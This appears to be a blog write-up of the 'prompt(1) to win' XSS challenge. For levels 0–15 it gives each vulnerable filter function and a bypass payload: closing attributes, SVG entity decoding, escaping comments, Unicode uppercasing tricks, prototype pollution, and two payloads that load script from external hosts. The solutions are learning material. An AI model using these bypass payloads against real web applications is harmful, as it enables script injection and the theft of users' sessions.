prompt(1) to win学习记录

prompt(1) to win学习记录

摘要:XSS学习笔记

0x01写在前面

XSS作为一个著名的web攻击方式,对它的学习自然是不能落下的。之前零碎地学过一些XSS的知识,也做过一些XSS的题目,感觉自己在这块还是需要巩固一下,于是找到了prompt(1) to win
这个绕过waf的靶场。靶场规则是只要执行了prompt(1)就可以获胜。话不多说,直接莽。

0x02正文

第零关 无过滤

1
2
3
4
5
function escape(input) {
// warm up
// script should be executed without user interaction
return '<input type="text" value="' + input + '">';
}

很简单,直接闭合就可以绕过。payload:

1
"><script>prompt(1)</script><inpurt value= "

第一关 过滤<>

1
2
3
4
5
6
7
8
function escape(input) {
// tags stripping mechanism from ExtJS library
// Ext.util.Format.stripTags
var stripTagsRE = /<\/?[^>]+>/gi;
input = input.replace(stripTagsRE, '');

return '<article>' + input + '</article>';
}

观察正则,发现将<>及其里面包含的内容都匹配了,匹配完成后替换为空字符。我们可以先分析一下正则:
?匹配前面的/零次或者一次
[^>]匹配除了>以外的所有字符
gi代表全局模式
payload:

1
<img src=# onerror="prompt(1)"

第二关 过滤=(

1
2
3
4
5
6
7
function escape(input) {
// v-- frowny face
input = input.replace(/[=(]/g, '');

// ok seriously, disallows equal signs and open parenthesis
return input;
}

过滤掉了=和(,这里可以使用svg标签,该标签的特性:提前将xml实体解析再加入标签。贴一张xml实体格式为&#xxx; 里面的xx跟ascii十六进制对应

1
<svg><script>prompt&#x28;1)</script>

第三关 过滤->

1
2
3
4
5
6
7
function escape(input) {
// filter potential comment end delimiters
input = input.replace(/->/g, '_');

// comment the input to avoid script execution
return '<!-- ' + input + ' -->';
}

过滤了->导致注释不能被闭合,但是可以使用–!>来闭合注释。
payload:

1
--!><script>prompt(1);</script>

第四关 同源过滤

1
2
3
4
5
6
7
8
9
10
11
function escape(input) {
// make sure the script belongs to own site
// sample script: http://prompt.ml/js/test.js
if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {
var script = document.createElement('script');
script.src = input;
return script.outerHTML;
} else {
return 'Invalid resource.';
}
}

这题的过滤是要求从本地获得js文件,浏览器允许http://[email protected]来访问别的网站,但是本题需要满足http://prompt.ml/这样的格式才能够写入src中。但浏览器不支持http://xx.xx/@hacker.com的格式。注意到代码中有个decodeURIComponent,那么将/换成%2f就可以绕过了。
payload:

1
https://prompt.ml%[email protected]/xss.html

第五关 过滤> onxxxx= focus

1
2
3
4
5
6
7
function escape(input) {
// apply strict filter rules of level 0
// filter ">" and event handlers
input = input.replace(/>|on.+?=|focus/gi, '_');

return '<input value="' + input + '" type="text">';
}

注意到过滤的是onxxxx=,那么换行绕过即可

1
2
" src=# type=image onerror
="prompt(1)

第六关 document特性绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
function escape(input) {
// let's do a post redirection
try {
// pass in formURL#formDataJSON
// e.g. http://httpbin.org/post#{"name":"Matt"}
var segments = input.split('#');
var formURL = segments[0];
var formData = JSON.parse(segments[1]);

var form = document.createElement('form');
form.action = formURL;
form.method = 'post';

for (var i in formData) {
var input = form.appendChild(document.createElement('input'));
input.name = i;
input.setAttribute('value', formData[i]);
}

return form.outerHTML + ' \n\
<script> \n\
// forbid javascript: or vbscript: and data: stuff \n\
if (!/script:|data:/i.test(document.forms[0].action)) \n\
document.forms[0].submit(); \n\
else \n\
document.write("Action forbidden.") \n\
</script> \n\
';
} catch (e) {
return 'Invalid form data.';
}
}

很容易看懂这段js代码,首先根据用户的输入,创建形如

1
<form action="" method=""></form>

的标签
而后会创建input获得形如

1
<form action="" method=""><input name="" value=""></imput></form>

我们注意到后面写入html的语句中存在对javascript: data:的过滤。这使得我们不能够在form的action属性中使用形如JavaScript:(statement)的代码执行XSS。但这个过滤是有缺陷的,document.forms[0].action会优先匹配子标签中的name为action的子标签。于是,我们传入以下代码

1
javascript:prompt(1)#{"action":""}

拼接成

1
2
3
4
5
6
7
8
form action="javascript:prompt(1)" method="post"><input name="action" value=""></form>                         
<script>
// forbid javascript: or vbscript: and data: stuff
if (!/script:|data:/i.test(document.forms[0].action))
document.forms[0].submit();
else
document.write("Action forbidden.")
</script>

从而完成绕过。

第七关 输入长度限制

1
2
3
4
5
6
7
8
function escape(input) {
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');
return segments.map(function(title) {
// title can only contain 12 characters
return '<p class="comment" title="' + title.slice(0, 12) + '"></p>';
}).join('\n');
}

这边错就错在分段处理了了用户输入,导致用户可以用多行注释符无限输入自己想输入的代码。这里要注意的是不要将script标签给拆分了…payload如下:

1
"><script>/*#*/prompt(1/*#*/)</script>

第八关 逃逸单行注释

1
2
3
4
5
6
7
8
9
10
function escape(input) {
// prevent input from getting out of comment
// strip off line-breaks and stuff
input = input.replace(/[\r\n</"]/g, '');

return ' \n\
<script> \n\
// console.log("' + input + '"); \n\
</script> ';
}

很明显,必须像个办法逃逸出来才行。这边使用的是Unicode的换行符。在Unicode编码中\u
2028是行分隔符,\u2029是段分隔符。payload如下

1
2
\u2028prompt\u2028-->
//在浏览器控制台中输入得到:
prompt(1)
-->

第九关 unicode绕过

1
2
3
4
5
6
7
8
9
function escape(input) {
// filter potential start-tags
input = input.replace(/<([a-zA-Z])/g, '<_$1');
// use all-caps for heading
input = input.toUpperCase();

// sample input: you shall not pass! => YOU SHALL NOT PASS!
return '<h1>' + input + '</h1>';
}

这边需要绕过一个正则,后面有一个转换为大写,这个是有漏洞的,可以将某些奇奇怪怪的Unicode字符转化为对应的字母,payload如下

1
<ſcript ſrc="https://www.hn13.top/xss.js"></ſcript>

第十关 弄巧成拙的过滤

1
2
3
4
5
6
7
8
9
function escape(input) {
// (╯°□°)╯︵ ┻━┻
input = encodeURIComponent(input).replace(/prompt/g, 'alert');
// ┬──┬ ノ( ゜-゜ノ) chill out bro
input = input.replace(/'/g, '');

// (╯°□°)╯︵ /(.□. \)DONT FLIP ME BRO
return '<script>' + input + '</script> ';
}

下面这个’的过滤出大问题,只要在prompt中加上’就可以绕过了。payload如下:

1
prom'pt(1)

第十一关 过滤掉所有除了字母数字外的ascii字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function escape(input) {
// name should not contain special characters
var memberName = input.replace(/[[|\s+*/\\<>&^:;=~!%-]/g, '');

// data to be parsed as JSON
var dataString = '{"action":"login","message":"Welcome back, ' + memberName + '."}';

// directly "parse" data in script context
return ' \n\
<script> \n\
var data = ' + dataString + '; \n\
if (data.action === "login") \n\
document.write(data.message) \n\
</script> ';
}

在js中,”xxx”(prompt(1))in”xxx”可以直接触发函数,同时把in换成instanceof拥有同样的效果。所以我们的思路很简单,构造出上面的形式。payload:

1
"(prompt(1))in"

第十二关 利用数学函数对prompt解析后再解析回来

1
2
3
4
5
6
7
8
9
function escape(input) {
// in Soviet Russia...
input = encodeURIComponent(input).replace(/'/g, '');
// table flips you!
input = input.replace(/prompt/g, 'alert');

// ノ┬─┬ノ ︵ ( \o°o)\
return '<script>' + input + '</script> ';
}

parseInt(“promt”, 30)将prompt转成30进制表示,然后toString(30)让三十进制表示的数字又重新转成prompt,再之后使用eval()函数将字符串作为函数执行。payload:

1
eval((630038579).toString(30))(1)

第十三关 原型链污染导致的XSS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
function escape(input) {
// extend method from Underscore library
// _.extend(destination, *sources)
function extend(obj) {
var source, prop;
for (var i = 1, length = arguments.length; i < length; i++) {
source = arguments[i];
for (prop in source) {
obj[prop] = source[prop];
}
}
return obj;
}
// a simple picture plugin
try {
// pass in something like {"source":"http://sandbox.prompt.ml/PROMPT.JPG"}
var data = JSON.parse(input);
var config = extend({
// default image source
source: 'http://placehold.it/350x150'
}, JSON.parse(input));
// forbit invalid image source
if (/[^\w:\/.]/.test(config.source)) {
delete config.source;
}
// purify the source by stripping off "
var source = config.source.replace(/"/g, '');
// insert the content using mustache-ish template
return '<img src="{{source}}">'.replace('{{source}}', source);
} catch (e) {
return 'Invalid image data.';
}
}

payload:

1
{"source":"0"," __proto__":{"source":"onerror=prompt(1)"}}

第十四关 利用正常的data://协议通过base64解码执行javascript脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
function escape(input) {
// I expect this one will have other solutions, so be creative :)
// mspaint makes all file names in all-caps :(
// too lazy to convert them back in lower case
// sample input: prompt.jpg => PROMPT.JPG
input = input.toUpperCase();
// only allows images loaded from own host or data URI scheme
input = input.replace(/\/\/|\w+:/g, 'data:');
// miscellaneous filtering
input = input.replace(/[\\&+%\s]|vbs/gi, '_');

return '<img src="' + input + '">';
}

这题没法被正常做出来
正常的data URI如下:

1
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4=">test<a>

按理来说这题也正是需要构造出以上的数据。但是没法成功,网上找的参考payload:

1
"><IFRAME/SRC="x:text/html;base64,ICA8U0NSSVBUIC8KU1JDCSA9SFRUUFM6UE1UMS5NTD4JPC9TQ1JJUFQJPD4=

第十五关 当普通的JavaScript注释被//过滤时**

1
2
3
4
5
6
7
8
9
10
11
function escape(input) {
// sort of spoiler of level 7
input = input.replace(/\*/g, '');
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');

return segments.map(function(title, index) {
// title can only contain 15 characters
return '<p class="comment" title="' + title.slice(0, 15) + '" data-comment=\'{"id":' + index + '}\'></p>';
}).join('\n');
}

这题和之前的使用JavaScript注释的类似,只不过这次使用的是html的注释。payload如下:

1
"><svg><!--#--><script><!--#-->prompt<!--#-->(1);<!--#--></script>

评论